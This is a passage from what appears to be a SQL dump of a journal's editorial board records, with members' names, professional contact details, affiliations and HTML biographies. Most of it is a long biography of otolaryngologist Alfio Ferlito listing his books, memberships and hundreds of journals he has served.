Medical College I did my MD in Pediatrics from Maulana Azad Medical College, Delhi. I did 3 years of senior residency from the same institute and then joined there as Assistant Professor. During my 4 years as Assistant Professor, I was closely involved in undergraduate and post graduate teaching and evaluation, intramural and funded research and published as well as presented several papers in reputed journals and conferences respectively. Subsequently, I worked as Associate Professor, Pediatrics in Chacha Nehru Bal Chikitsalay, a pediatric superspeciality hospital where I was also thesis guide for post graduate students. I also trained in pediatric gastroenterology and headed the gastroenterology division in this reputed pediatric hospital. At present I am working as Associate Professor and Head of the Department at Government Institute of Medical Sciences, Greater Noida, UP.</span></p>\r\n',1,'2018-07-05 18:23:37','2018-07-25 20:38:01',1),(60,27,20,'','Alessandra Drusco','adrusco@gmail.com','6142602573','Department of Cancer Biology and Genetics','Editorial board member','United States','The Ohio State University','1','&nbsp;',1,'2018-07-05 20:02:56','2018-07-07 15:59:15',1),(61,27,20,'1530882968.jpg','Diego Pinheiro Aguiar','diegopaguiar@gmail.com','212154116451',' National Institute of Traumatology and Orthopedics','Editorial board member','Brazil',' National Institute of Traumatology and Orthopedics','2','I am bachelor\'s at Ciências Biológicas from Catholic University of Santa Ursula (2004), master\'s at Morphology from Federal University of Rio de Janeiro (2008) and doctorate at Genetics from Université Paris Sud (2012). He is currently pesquisador at National Institute of Traumatology and Orthopedics in Rio de Janeiro, Brazil. Has experience in Cancer biology, focusing on Cancer genetics, acting on the following subjects: molecular pathway of head and bone cancer development',1,'2018-07-06 18:46:07','2018-07-07 15:59:08',1),(62,27,20,'1530970049.png','Dmitry Lvovich Aminin','daminin@piboc.dvo.ru','','Head of Laboratory of Bioassay and mechanism of Action of biologically active substances','Editorial board member','Russia','Far Eastern Branch of the Russian Academy of Sciences','3','',1,'2018-07-07 18:57:28','2018-07-07 18:57:28',1),(63,27,20,'1530970211.png','Alfio Ferlito ','alfio.ferlito@uniud.it','','Department of Otolaryngology','Editorial board member','Italy','University of Udine School of Medicine','4','<p>Formerly Director of the Department of Surgical Sciences at the University of Udine School of Medicine from 2003 to 2009 and Professor and Chairman of the ENT Clinic at the same University from 1997 to 2013. He graduated in medicine at the University of Bologna in 1968. He completed his residence programme in otolaryngology and subsequently in pathology. He worked at the ENT Department of&nbsp;&nbsp; Padua University from 1970 to 1997. Since 2009 he is the Coordinator of the International Head Neck Scientific Group (www.IHNSG.com).</p>\r\n\r\n<p>Professor Ferlito has collaborated in writing articles, editorials, commentaries, Consensus statement Consensus statementconsensus statements, letters to the editor, special issues, book chapters and books with 669 international experts. He has edited a three-volume book entitled <em>Cancer of the Larynx</em> (CRC Press, Boca Raton, 1985) and three other books entitled <em>Neoplasms of the Larynx</em> (Churchill Livingstone, Edinburgh, 1993), <em>Surgical Pathology of Laryngeal Neoplasms</em> (Chapman and Hall, London, 1996) and <em>Diseases of the Larynx</em> (Arnold, London, 2000), and co-authored two books entitled <em>Granulomas and Neoplasms of the Larynx</em> together with Professor Imrich Friedmann (Churchill Livingstone, Edinburgh, 1988) and <em>Surgery for Cancer of the Larynx and Related Structures</em> together with Dr. Carl E. Silver (Saunders, Philadelphia, 1996). He is editor with Dr. Marvin P. Fried of the third edition of a two-volume book entitled <em>The Larynx </em>(Plural Publishing, San Diego, 2009) and with Drs. K. Thomas Robbins and Carl E. Silver of the book entitled <em>Neck Dissection - Management of Regional Disease in Head and Neck Cancer</em> (Plural Publishing, San Diego, 2010). He is Editor of four issues of <em>ORL Journal for Oto-Rhino-Laryngology, Head and Neck Surgery.</em> Professor Ferlito has been author or co-author of 660 referred publications in 70 medical journals and 54 chapters in various books.</p>\r\n\r\n<p>He serves/served as editor, co-editor, assistant editor or reviewer for the following 742 journals: <em>The Lancet; The Lancet Oncology; Advanced Drug Delivery Reviews; </em><em>Nature Communications; </em><em>Nature Clinical Practice Oncology;</em> <em>Human Molecular Genetics;&nbsp; Clinical Cancer Research; BMC Medicine; Cancer; Acta Biomaterialia; </em><em>Clinical Epidemiology; </em><em>European Journal of Cancer; </em><em>International Journal of Cancer; </em><em>Expert Review of Molecular Diagnostics; </em><em>Biomarkers in Medicine; </em><em>Modern Pathology; Molecular Carcinogenesis; Oncotarget; Annals of Surgical Oncology;</em><em> Surgical Endoscopy; Cellular Physiology and Biochemistry; British Journal of Cancer; </em><em>FEBS Journal;</em><em> Radiotherapy and Oncology; Investigational New Drugs; </em><em>Thyroid; Cancers; </em><em>Journal of Pathology Research; Epigenomics; </em><em>Journal of the American College of Surgeons; Oral Oncology; European Journal of Surgical Oncology -The Journal of Cancer Surgery; European Journal of Endocrinology; Histopathology; Journal of the European Academy of Dermatology and Venereology; Head and Neck; Expert Opinion on Pharmacotherapy; PLOS ONE; </em><em>Future Oncology; </em><em>Pediatric Infectious Disease Journal; </em><em>Journal of Cancer Research and Clinical Oncology;</em> <em>International Journal of Molecular Sciences;</em> <em>Cancer Chemotherapy and Pharmacology; Biotechnic &amp; Histochemistry; Journal of Surgical Oncology; Histology and Histopathology; Respiratory Medicine; Experimental and Molecular Pathology;</em> <em>Immunotherapy;</em><em> Translational Oncology; Oral Diseases; </em><em>Cancer Medicine;</em><em> </em><em>BioMed Research International;</em><em> </em><em>Cell Biology International; </em><em>Anti-Cancer Drugs; Cell Biochemistry &amp; Function; Radiation Oncology; Future Virology; Langenbeck&#39;s Archives of Surgery; Expert Review of Anticancer Therapy; Journal of Neuroscience Methods; American Journal of Rhinology; Oncology; Cancer Detection and Prevention Journal; Expert Review of Gastroenterology &amp; Hepatology; Gene; Evidence-Based Complementary and Alternative Medicine; International Journal of Experimental Pathology; BMJ Open; </em><em>Clinical Interventions in Aging; </em><em>The Laryngoscope; PeerJ; International Journal of Computer Assisted Radiology and Surgery; Journal of Experimental and Clinical Cancer Research; </em><em>Drug Delivery;</em><em> BMC Health Services Research;&nbsp; Archives of Otolaryngology-Head and Neck Surgery; Virchows Archives; Journal of Voice; Journal of Allergy &amp; Therapy Current Opinion in Otolaryngology and Head and Neck Surgery; Clinical Otolaryngology; Clinical and Experimental Dermatology; Intervirology; Otolaryngology-Head and Neck Surgery; British Journal of Oral and Maxillofacial Surgery; European Journal of Internal Medicine; Journal of Geriatric Oncology; Journal of Oral and Maxillo-Facial Surgery; OncoTargets and Therapy; Cancer Biomarkers; European Archives of Oto-Rhino-Laryngology and Head &amp; Neck; </em><em>Archives of Otorhinolaryngology-Head &amp; Neck Surgery; </em><em>Patient Preference and Adherence; Therapeutics and Clinical Risk Management; Journal of Investigative Surgery; American Journal of Otolaryngology; Annals of Otology,&nbsp; Rhinology and Laryngology; Acta Otolaryngologica; Tissue and Cell; ORL Journal for Oto-Rhino-Laryngology, Head and Neck Surgery; Med One; Health; Folia Phoniatrica et Logopaedica; Journal of Cytology &amp; Histology; Advances in Therapy; Journal of Laryngology and Otology;</em> <em>Expert Review of Quality of Life in Cancer Care; Personalized Medicine; Ophtalmic Plastic and Reconstructive Surgery; Acta Odontologica Scandinavica; Yonsei Medical Journal; Auris Nasus Larynx; Journal of Otolaryngology - Head and Neck Surgery; Journal of Cancer Therapeutics &amp; Research; Ear, Nose and Throat Journal; African Journal of Pharmacy&nbsp; and Pharmacology; Clinical and Experimental Otorhinolaryngology; Journal of Analytical Oncology; Head and Neck Oncology; Operative Techniques in Otolaryngology-Head and Neck Surgery; Surgical Laparoscopy, Endoscopy &amp; Percutaneous Techniques; Journal of Medical Speech-Language Pathology; Journal of Cytology; ORL Update; Biomedical Research; &nbsp;Otolaryngology Journal Club Journal; Otorhinolaryngologica Nova; International Archives of Otorhinolaryngology; Indian Journal of Otology; Anales Otorrinolaringol&oacute;gicos del Per&uacute;; Applied Pathology; Head and Neck Diseases; Head and Neck Pathology; Medical Science Monitor; BioMed Central Ear Nose Throat Disorders; BioMed Central Cancer; European Journal of General Medicine; Journal of Laryngology and Voice; ORL Today; Focus on ORL; Acta Otorhinolaryngologica Italica; Asian Journal of Oral and Maxillofacial Surgery; Tumori; Chirurgia della Testa e del Collo; Giornale di Stomatologia e di Ortognatodonzia; ORL Digest; Arquivos de Otorrinolaringologia; Cancer Control: Journal of the Moffitt Cancer Center; World Journal of Surgical Oncology; International Journal of Surgery; Excerpta Medica; Neurology India; Nowotwory - Journal of Oncology; Journal of Oral Pathology and Medicine; Open Otorhinolaryngology Journal; Journal of Medical Case Reports; African Journal of Microbiology Research; Case Reports and Clinical Practice Review; Journal of Zhejiang University SCIENCE A and B; American Journal of Case Reports; The Open Surgical Oncology Journal; The Open Pain Journal; International Journal of Otolaryngology; Expert Opinion on Medical Diagnostics; The Open Plastic and Reconstructive Surgery Journal; Case Reports in Medicine; The Open Toxinology Journal; International Journal of Biomedical Science; Current Immunology Reviews; BMJ Point of Care; European Journal of General Medicine; Clinical Chemistry and Laboratory Medicine; Frontiers in Molecular Biology; Cases Journal; International Journal of Surgical Oncology; Journal of Cancer Research and Therapeutics; Indian Journal of Cancer; Journal of Chinese Clinical Medicine; Head and Neck Pathology; World Journal of Clinical Oncology; Journal of Environmental Protection; Surgical Science; The Asia-Pacific Journal of Endocrinology; World Journal of Otorhinolaryngology; International Journal of Surgery Case Reports; Oncology Reviews; Odontology;</em><em> </em><em>Surgical Techniques Development; World Journal of Translational Medicine; Acta Stomatologica Croatica; Clinical Investigation; Diagnostic and Therapeutic Endoscopy; World Journal of Anesthesiology; World Journal of Stomatology; World Journal of Surgical Procedures; International Scholarly Research Network (ISRN) Otolaryngology; Journal of Cancer Therapy; Journal of Solid Tumors; Journal of Oncology; Case Reports in Oncological Medicine; Recent Patents on Biotechnology;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Reports in Dentistry; World Journal of Methodology; Otolaryngology; Expert Opinion on Therapeutic Targets; Journal of Hand and Microsurgery; Journal of Clinical Medicine and Research; Journal of Skin Cancer; Clinical Anatomy; Case Reports in Anesthesiology; Life Sciences; British Journal of Medicine and Medical Research; Clinical and Experimental Medical Sciences; International Journal of Technology and Management; Hadhramout Journal of Medical Sciences; Chemotherapy Research and Practice; Frontiers in Internal Medicine; Rare Tumors; Journal of Otology and Rhinology; Journal of Integrated Omics; Advanced Studies in Medical Sciences; World Journal Pathology; International Journal of Otolaryngology Head and Neck Surgery; OA Case Reports;</em> <em>Journal of Oral and Maxillo-Facial Surgery, Medicine and Pathology; </em><em>The Open Access Journal of Science and Technology, World Journal of Medical and Surgical Case Reports; World Journal of Medical Research; Annals of Medical and Health Sciences Research; Journal of Basic and Reproductive Science; Pathology - Research and Practice; Journal of Tumor; International Journal of Clinical Medicine; Tanta Medical Journal; </em><em>Journal of Surgery; </em><em>Chronicles of Surgery; International Journal of Medical Sciences and Biotechnology; Journal of Medicine Research and Development; Ecancermedicalscience; Gland Surgery; Applied Scientific Reports; Journal of Gene Therapy; Pulmonology and Respiratory Research; Vaccines &amp; Vaccination; </em><em>Journal of Nasopharyngeal Carcinoma; Journal of Toxicology &amp; Health</em><em>; Enliven: Challenges in Cancer; IRED International Journals/Conferences; Journal of Otolaryngology; Melanoma Management; Journal of Psychology and Psychoterapy Research; SciTechnol; Journal of Clinical Case Reports; Annals of Otolaryngology and Rhinology;</em> <em>Annals of Maxillofacial Surgery;</em><em> Journal of Pediatric Neuroradiology; International Journal of Clinical Case Studies; Anaplastology; F1000Prime Reports;</em> <em>Austin Journal of Otolaryngology; Scientific Studies on Oncology; The International Journal of Biological Markers; Gastroenterology and Hepatology; Scientific Studies on Oncology (Zeal Scienza); The Journal of Dentist; The Open Biological Sciences Journal; The Open Cancer Journal; International Archives of Medicine; Expert Reviews; Surgery and Transplantation; Biomedicine Hub; Journal of Cytology and Tissue Biology; Canadian Research &amp; Development Center of Sciences and Cultures; International Journal of Clinical &amp; Experimental Otolaryngology; Journal of Biotechnology and Cell Biology; Integrative Cancer Science and Therapeutics; Chronic Diseases &ndash; International; Journal of International Research in Medical and Pharmaceutical Sciences; Jacobs Journal of Otolaryngology; Journal of Internal Medicine; Open Andrology Journal; Clinical Medical Reviews and Case Reports; Cancer Research Frontier; Cancer Research: Open Access Journal; Rare Cancers and Therapy; SM Journal of Oncology and Hematology; Archives of Otolaryngology and Rhinology; Case Studies in Surgery; Journal of Applied Oral Science; Spandidos Publications; Global Surgery; Archives of</em> <em>Clinical Pulmonology and Respiratory Care; Journal of Translational Science; Journal of Ophtalmology and Clinical Research; Journal of Pediatric Biochemistry; Journal of Otolaryngology and Rhinology; SM Journal of Clinical Pathology; Journal of Cancer and Clinical Oncology; Oncology Communications; Open Journal of Stomatology; Surgery Open Access; Otolaryngology - Open Journal; Journal of Lung Cancer Diagnostics &amp; Treatment; Journal of Cancer Science and Current Research: Open Access; Journal of Pediatric Genetics; Journal of Otolaryngology Open Access; Journal of Clinical Case studies; Journal of Otorhinolaryngology; SRL Surgery; SRL Oncology &amp; Hematology; Journal of Procedural Dermatology; Austin Journal of Cancer and Clinical Research; Annals of Hematology &amp; Oncology; Medical Reports &amp; Case Studies; Clinical Medical Journal; International Journal of Clinical Research &amp; Trials; Austin Journal of Dentistry; Journal of Respiratory Medicine: Current Research; Open Biological Science Journal; Austin Journal of Forensic Science and Criminology; SRL Cancer &amp; Cellular Biology; Integrative Radiation Oncology and Nuclear Medicine; Journal of Pulmonary and Critical Care Medicine; JBR Journal of Translational Clinical &amp; Experimental Oncology; Gavin Journal of Oncology Research and Therapy; Oncology Communications;</em> <em>Diagnostic Pathology; Austin Hypertension; Journal of Otolaryngology Advances; Scholars Report; Nuclear Medicine and Biomedical Imaging; Expert Opinion on Investigational Drugs; Spondidosis Publications; Madridge Journal of Otorhinolaryngology; Dentistry and Oral Medicine; Otolaryngology Clinics; JSM Surgical Oncology and Research; Clinics in Surgery; Otolaryngology Case Reports; Pain Management Clinics; Annals of Clinical Case Reports; Clinics in Oncology; Journal of Medicine and Surgery; Chemotherapy and Radiotherapy; Cancers &amp; Advanced Therapies; Cancer Management and Research; JSM Oro Facial Surgeries; The Scientific Pages of Oral Health;Emergency Surgery; Journal of Ear, Nose and Throat Disorders; Austin Pediatric Oncology; General Surgery; Journal of Otolaryngology and Reconstructive Surgery; Journal&nbsp; Clinics in Oncology - Chemotherapy and Radiotherapy; Oncology Case Reports; Journal Clinics in Surgery &ndash; Otolaryngology; Open Biological Sciences Journal; SciTz Clinical and Medical Oncology; SciTz Dentistry: Research &amp; Therapy; Journal of Case Reports in Medical Science;</em> <em>Austin Journal of Surgical Oncology; HSOA Journal of Otolaryngology, Head &amp;&nbsp; Neck Surgery; Cancer Biology &amp; Medicine;</em> <em>JSM Thyroid Disorders &amp; Management; Annals of Thyroid Research; Prime Research in Cancer; JSM Head &amp; Neck Cancer-Cases and Reviews; The Scientific Pages of Anesthesia and Pain Management; Journal of Medical Oncology and Therapeutics; Journal of Phonetics and Audiology; The Scientific Pages of Pulmonology; Heighpubs Otolaryngology and Rhinology; The Scientific Pages of Dermatology; SM Otolaryngology; Heighpubs Food and Nutrition Science; Journal of Cancer and Cure; Journal of Dentistry and Oral Biology; SM Journal of Clinical and Medical Imaging; Journal of General and Emergency Medicine; Current Updates in Otolaryngology; Heighten Journal of Pathology and Clinical Research; Heighten Anesthesia and Clinical Research ;Journal of Clinical Intensive Care and Medicine; Annals of Clinical Otolaryngology; Journal of Surgery &amp; Clinical Practice; SM Dentistry Journal; Kenkyu Journal of Cancers &amp; Advanced Therapies; Hematology &amp; Medical Oncology; Current Updates in Cancer Diagnosis and Treatment; Gavin Journal of Oncology Research; International Journal of Cancer Studies and Research; The Scientific Pages of Oral Cancer; Journal of Cancer and Cure; Journal of Surgical Oncology &amp; Clinical Practice; Integrative Cancer Biology and Research; The Scientific Pages of Brain Cancer; The Scientific Pages of Lung Cancer; Remedy Open Access Journal; JSM General Surgery: Cases and Images; Archives in Microbiology &amp; Immunology; Radiation Oncology - Remedy Open Access; The Scientific Pages of Forest Research; Open Access Journal of Dentistry; Open Access Journal of Pulmonology; Cancer Research - Open Journal; Jacobs Journal of Headache;Gavin Journal of Anesthesiology; Austin Hematology; Annals of Surgery and Perioperative Care; Journal of Respiratory Medicine and Lung Disease; Journal of Cancer Epidemiology &amp; Treatment; Mathews Journal of Surgery; Cancer Biology and Research; Journal of Otolaryngology Current Trends; The Scientific Pages of Physical Medicine; The Scientific Pages of Plant Pathology; Clinical Case Reports, Research &amp; Trials; Cancer Prognostics and Diagnostics ;&nbsp; JSM Head and Face Medicine; Journal of Hematology &amp; Multiple Myeloma; The Scientific Pages of Public Health; The Scientific Pages of Emergency Medicine; Journal of Otolaryngology: Research; Cancer Prevention: Current Research Journal; Clinical and Medical Oncology; Dentistry, Oral Disorders and Therapy; The Pulmonary &amp; Respiratory Research Journal; Clinical Medicine Research; Austin Oncology Case Reports; Current Updates in Clinical Pathology; Chemotherapy and Radiation Oncology; The Scientific Pages of Neuro Oncology; BAOJ Hematology; The Scientific Pages of Leukemia Research; Insights in Surgery; Insights in Head and Neck Cancer; Annals of Men&rsquo;s Health and Wellness;&nbsp; Pharmacology and Toxicology; American Research Journals; Austin Head and Neck Oncology; Austin Pathology; Journal of Gastroenterology, Liver &amp; Pancreatic Diseases; The Scientific Pages of Head and Neck Surgery; Source Journal of Medical Case Report; Austin Dental Sciences; Current Updates in Dentistry; EC Neurology; The Open Access Journal of Science and Technology; Elyns Journal of Surgery; Clinical Dermatology: Research and Therapy; Journal of Plastic Surgery and Modern Techniques; Chemical Biology &amp; Drug Design; The Scientific Pages of Oral and Maxillofacial Surgery; Annals of Surgery&nbsp; and Perioperative Care; Journal of Hematology and Serology; The Scientific Pages&nbsp; of Surgical Endocrinology;The Scientific Pages of Muskuloskeletal Surgery; The Scientific Pages of Anatomy and Physiology;-Annals of Clinical Pathology Research; Annals of Blood Research; International Journal of JENPUB Cancer Sciences; Annals Review of Hematology &amp; Oncology; Sensory System Journal; Austin Journal of Clinical Trials: Open Access; Journal of Clinical and Diagnostic Pathology; The Scientific Pages of Pathology; Journal of Surgical Techniques &amp; Procedures; The Scientific Pages of Laparoscopy; Dentistry &amp; Oral Medicine Case Report; Madridge Journal of Otorhinolaryngology;&nbsp; The Scientific Pages of Pediatric Surgery; Journal of Infectious &amp; Non Infectious Diseases; American Journal of Leukemia Research; Open Access Journal of Thyroid Research; Current Cancer Therapy Reviews; ESMO Open; Journal of Comprehensive Cancer Research; SRL Blood Disorders; Dove Medical Press; CNS Oncology; Open Journal for Blood Cancer; SRL Dentistry; SM Journal of Clinical Trials; The Scientific Pages of Endocrinology and Metabolism; Annals of Research Investigations and Outcomes; Annals of Research Investigations and Outcomes; Journal of Radiation Oncology &amp; Research; Chinese Journal of Dental Research; SM Clinical and Medical Oncology; Journal of Clinical &amp; Experimental Radiology; Chronicle Publishers; SRL Neurooncology and Brain Tumors; SRL Molecular Biomarkers &amp; Diagnosis; SRL Pulmonary and Respiratory Medicine; SRL Primatology; Current Applied Biomedical Sciences; SRL Veterinary Science &amp; Technology; SRL Nuclear Medicine &amp; Radiation Therapy; Mathews Journal of Otolaryngology ; SRL Pharmacology and Toxicology; Current Dentistry; Clinical Images &amp; Case Reports; Annals of Clinical Research and Trials; International Journal of JENPUB Dentistry and Oral Science; Otolaryngology - Remedy Open; Journal of Chronic Pain and Management; Journal of Surgery Forecast; Journal of Cancer Research Forecast; Journal of PeerScientist; International Journal of Radiology &amp; Radiation Therapy; Annals of Multiple Sclerosis and Related Disorders; Journal of Hematology and Oncology Forecast; International Journal of Endocrinology and Metabolism; Journal of Surgery and Acute Care; JSM Sexual Medicine; SRL Biology; Journal of Otolaryngology Forecast; Journal of Emergency Medicine Forecast; Journal of Pharmacovigilance; SM Journal of Minimally Invasive Surgery; Journal of Oncology Research Forecast; SM Pharmacology and Pharmaceutics Journal; Journal of Sarcoma Research; Global Journal of Otolaryngology; Neuro Immunology; Advances in Critical Care Medicine; SL Clinical and Medical Oncology; Journal of Family Medicine Forecast; Annals of Dentistry and Oral Disorders; SM Journal of Lung Pulmonary &amp; Respiratory Medicine; Experiments in Rhinology &amp; Otolaryngology; Future Science OA; Otolaryngology Current Trends; Journal of Nuclear Medicine &amp; Radiology; SM Dentistry &amp; Oral Disorders; Otolaryngology-Annals of Medical Case Reports; Journal of General Surgery; SM Journal of Sexually Transmitted Diseases; Advancements in Bioequivalence &amp; Bioavailability; SM Journal of Spine &amp; Neurosurgery; Journal of Cancer &amp; Metastasis Research; Journal of Gene Therapy and Research; SM Journal of Carcinogenesis &amp; Mutagenesis; Journal of Histology and Cell Biology; Journal of Pathology and Disease Biology; Annals of Otolaryngology; SM Thyroid Disorders and Therapy; Research Journal of ENT; Journal of Pathobiology and Physiology;&nbsp; Clinics in Oncology Research; Annals of Clinical Letters; Journal of Molecular and Cellular Biology Forecast; Journal of Surgery and Anesthesiology; Journal of Dentistry Forecast; Global Journal of Dermatology &amp; Venereology; World Journal of Surgery and Surgical Research; SM Pulmonology &amp; Clinical Research; Journal of Epidemiology and Public Health Reviews; POJ General Medicine; Journal of Surgery: Open Access; &nbsp;&nbsp;&nbsp;&nbsp; Journal of Cancer and Medical Oncology; Annals of Pulmonology and Clinical Research; ProClinS Surgery and Procedures; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jacobs Journal of Ophthalmology; Annals of Medical Case Reports; Clinical Anesthesia and Pain Management; Jacobs Journal of Neurology and Neuroscience; &nbsp; American Journal of Clinical Trials; American Journal of Genetics &amp; Genomics; Developments in Anaesthetics &amp; Pain Management; Asclepius Medical Case Reports; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Asia-Pacific Journal of Clinical Oncology; American Journal of Emergency &amp; Critical Care Medicine;</em> <em>Applied Clinical Pharmacology and Toxicology; Clinical Journal of Surgery; ARC Journal of Surgery; American Journal of Rare Disorders: Diagnosis &amp; Therapy; Journal of Oral Health and Dental Studies; International Journal of Cancer Science Research; Austin ENT: Open Access; Journal of Transdisciplinary Biomedicine; International Journal of Research on Internal Medicine; Journal of Molecular Pathology and Biochemistry; Med Cancer; American Journal of Epidemiology &amp; Public Health; Journal of Regional Anesthesia and Intensive Care; Journal of Nursing Sciences; International Journal of Fisheries and Aquatic Research; Virology &amp; Immunology Journal; Journal of Case Reports and Images; International Journal of Innovative Studies in Medical Sciences; Asclepius Medical Research and Reviews; Open Library of Clinical and Medical Case Reports; Health Care and Community Medicine; Medical Journal of Clinical Trials &amp; Case Studies; Journal of Community Medicine &amp; Public Health; International Journal of Bioremediation &amp; Biodegradation; Journal of Cosmetic and Laser Therapy; ProClinS Case Reports; F1000Research; Medical and Health Sciences; Clinics in Surgery Journal; International Journal of Medical &amp; Clinical Imaging; Oncology and Therapy; Journal of Clinical Case Reports and Review; Annals of Cell and Developmental Biology; Laboratory Cell Biological Technique; Journal of Cancer Clinical Research; Advancements in Bioequivalence &amp; Bioavailability; Cancer and Therapy; Vaccines &amp; Vaccination Open Access; International Journal of Geriatrics and Gerontology; Advanced Surgical Techniques and Procedures; American Research Journal of Otolaryngology; Australasian Medical Journal; Causes &amp; Treatments in Arthritis; SOA-Otolaryngology ENT Research; Research and Review Archives; International Journal of Experimental and Clinical Research; Journal of Oral Hygiene and Health; GSL Journal of Hematology; Journal of Cell Biology and Metabolism; Current Trends in Clinical Trial; Journal of Surgery and Practice; Scientia Ricerca; Journal of Orthodontics and Endodontics; Journal of Clinical Therapeutics and Diagnosis; Clinics in Medicine; International Journal of Biomechanics and Movement Science; SCIAEON Journal of Women&#39;s Health and Complications; Clinical and Medical Case Reports; Surgery &amp; Case Studies: Open Access Journal (SCSOAJ); Journal of Pediatric Dentistry &amp; Hygiene; Annals of Pharmaceutical Nanotechnology and Nanomedicine; Ear Nose and Throat (ENT) Open Access Open Journal; Journal of Lung; Annals of Short Reports; Opthalmology Case Reports;International Journal of Clinical Medicine Research; International Journal of Rhinology &amp; Otolaryngology; Journal of Anesthesia, Surgery and Operative Care; American Journal of Otolaryngology and Head and Neck Surgery; Journal of Tropical Medicine and Health; Journal of Otolaryngology and Neurotology; Journal of Current Research in Otolaryngology; Radiation Therapy - Clinics in Medicine Journal;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hemato Oncology; Journal of Laryngology, Rhinology &amp; Otology; Hematological Diseases and Therapies; Journal of Cancer and Therapeutic Interventions; Journal of Endocrinology and Disorders; Annals of Oncology Short Reports; SEJ ENT Disorders; Journal of Experimental Medicine and Biology; Current Medicine; Virology &amp; Disease; Journal of Pulmonology and Clinical Research;</em> <em>Cancer Clinics Journal; Journal of Pediatric Diseases; Mathews Journal of Cancer Science; Open Journal of Surgery; Journal of the Egyptian National Cancer Institute; Open Access Journal of Oncology; POJ Clinical Case Reports; Journal of Otolaryngology-ENT Research; Global Toxicology ; Medicine Research; Journal of Modern Medicinal Chemistry; General Surgery Open Access; Clinics of Oncology; Annals of Clinical and Medical Case Reports; United Journal of Otolaryngology; International Journal of Lungs &amp; Respiratory System; Cancer and Tumor Review; Journal of Otolaryngology Studies; Journal of Nursing and Healthcare Management; Bio Accent Open Access journal of Case Reports; International Journal of Disease Markers; Journal of Reconstructive Surgery &amp; Anaplastology; Big Data Analytics for Healthcare; Annals of Clinical Diabetes and Endocrinology; Cancer Biotherapy and Radiopharmaceuticals; Clinical Trials and Drug Interactions; Annals of Neurology &amp; Neurosurgery; Science World Journal of Cancer Science and Therapy; DOA Journal of Surgery; DOA Journal of Clinical and Medical Case Reports; Clinical Case Reports; Biomedical Research &amp; Experimental Sciences; Current Analysis on Oncology; Scient Journal of Cancer Science; Biomedical Research &amp; Experimental Sciences; International Journal of Surgery and Research; Family Medicine and Primary Care; Clinical Oncology Research Journal; Journal of Biomarker Research and Studies; Cases Med Research Journal; Journal of Neurology and Epidemiology; Neurology and Neurorehabilitation Research; Global Scientific Research Journal of Surgery, </em><em>International Journal of Tropical Medicine and Health;</em> <em>Annals Journal &amp; Bulletin Journal;</em> <em>Enliven: Clinical Case Reports; Archives of Community and Family Medicine;</em> <em>Advances in Pharmacology &amp; Clinical Trials; Chemotherapy Research Journal; Journal of Natural Products Research Updates; Open Journal for Surgery Case Reports; Archives of Surgery; Journal of Emergency, Critical Care and Diagnostic Management; Chemotherapy Research Journal; Preventive Medicine Research;&nbsp; International Journal of Clinical Pathology and Diagnosis; Global Scientific Research Journal of Public Health; Journal of surgery and advanced surgical techniques; Journal of Recent Advancement in Food Science and Nutrition Research; Journal of Regional Anesthesia and Intensive Care; Current Analysis on Oncology; Global Journal of Human Anatomy and Physiology Research; Signal and Information Processing; Spinal Diseases and Research; Journal of Clinical and Medical Imaging; International Technology and Science Publications; International Journal of Thyroid Disorders and Therapy; Postgraduate Medicine; Journal of Infectious Diseases and Therapeutics; Medical Frontiers; Journal of Rheumatology &amp; Arthritis Research; Journal of Human Anatomy; American Journal of Microbiology &amp; Biochemistry; Journal of Autoimmune Diseases and Rheumatology; Journal of Clinical and Laboratory Investigation Updates; Journal of Family Medicine &amp; Public Health;&nbsp; Journal of Palliative Medical Care &amp; Research; Management Science and Engineering; LOJ Medical Sciences; Journal of Surgical Science and Operative Care; European Journal of Rheumatology; CPQ Medicine; Online Journal of Otolaryngology and Rhinology; Innovations in Rehabilitation Research.</em></p>\r\n\r\n<p>Professor Ferlito has been awarded <em>ad hominem</em> fellowship from the Royal College of Surgeons of Edinburgh and <em>ad eundem</em> fellowship from the Royal College of Surgeons of England, Glasgow, Ireland and Dental Surgery of the Royal College of Surgeons of England. He is a fellow or a member of the American College of Surgeons, the Royal College of Pathologists, the Royal Society of Medicine of London, the American Otological Society, the American Laryngological Association, the Collegium Oto-Rhino-Laryngologicum Amicitiae Sacrum, the American Laryngological Rhinological and Otological Association, the American Society for Head and Neck Surgery, the Society of Head and Neck Surgeons, the American Broncho-Esophagological Association, the American Rhinologic Society, the Association for Research in Otolaryngology, the American Academy of Otolaryngology-Head and Neck Surgery, the International Broncho-Esophagological Society, the Oto-Rhino-Laryngological Society of Japan, the Japan Laryngological Association, the American Association for the Advancement of Science, the Hungarian Association of Otorhinolaryngologists (Honorary), the Slovenian Association of Otorhinolaryngologists, the Slovak Society of Otolaryngology-Head and Neck Surgery (Honorary), the Spanish Society of Otorhinolaryngology-Head and Neck Surgery (Honorary), the Israeli Society of Head and Neck Surgery and Oncology, the Hong Kong College of Otolaryngologists, the New York Academy of Sciences, the Laryngeal Cancer Association, Deutsche Gesellschaft f&uuml;r Hals-Nasen-Ohren-Heilkunde, Kopf- und Hals-Chirurgie, the American Society for Clinical Pathology, the College of American Pathologists, the International Academy of Pathology, the International Academy of Oral Oncology and the Interventional Oncology Society.</p>\r\n\r\n<p>Professor Ferlito has been honored with several distinctions from professional ENT Societies including two Presidential Citations from the American Laryngological Association for his contributions made to the field of laryngology and the association. He has been appointed as the International Liaison for Corresponding Fellows of the American Laryngological Association. He is also a Fellowship External Examiner in Otorhinolaryngology at the Royal College of Surgeons in Ireland.</p>\r\n\r\n<p>He has been invited as visiting professor at the Departments of Otolaryngology of the Universities of Ljubljiana, Valencia, Zagreb, Yale, Pittsburgh, Amsterdam, San Francisco, Hong Kong, Seoul and Tokyo, at the House Ear Institute of Los Angeles, at the Memorial Sloan-Kettering Cancer Center and Montefiore Medical Center of New York. He collaborated as a member of the World Health Organization&rsquo;s Committee on Histological Typing of Tumours of the Upper Respiratory Tract and Ear. He is also a member of the Laryngeal Cancer Association&rsquo;s Committee on the Classification of Laryngeal Cancer. He was consultant to Yale University.</p>\r\n\r\n<p>Professor Ferlito has delivered prestigious lectures all over the world. In 2006 he gave the 2<sup>nd</sup> Morrison Lecture in San Francisco and the 19<sup>th</sup> Som Lecture in New York. He has divided his professional life between clinical practice, teaching and research. One of his chief interests is the promotion of international cooperation in head and neck surgery, oncology and cancer 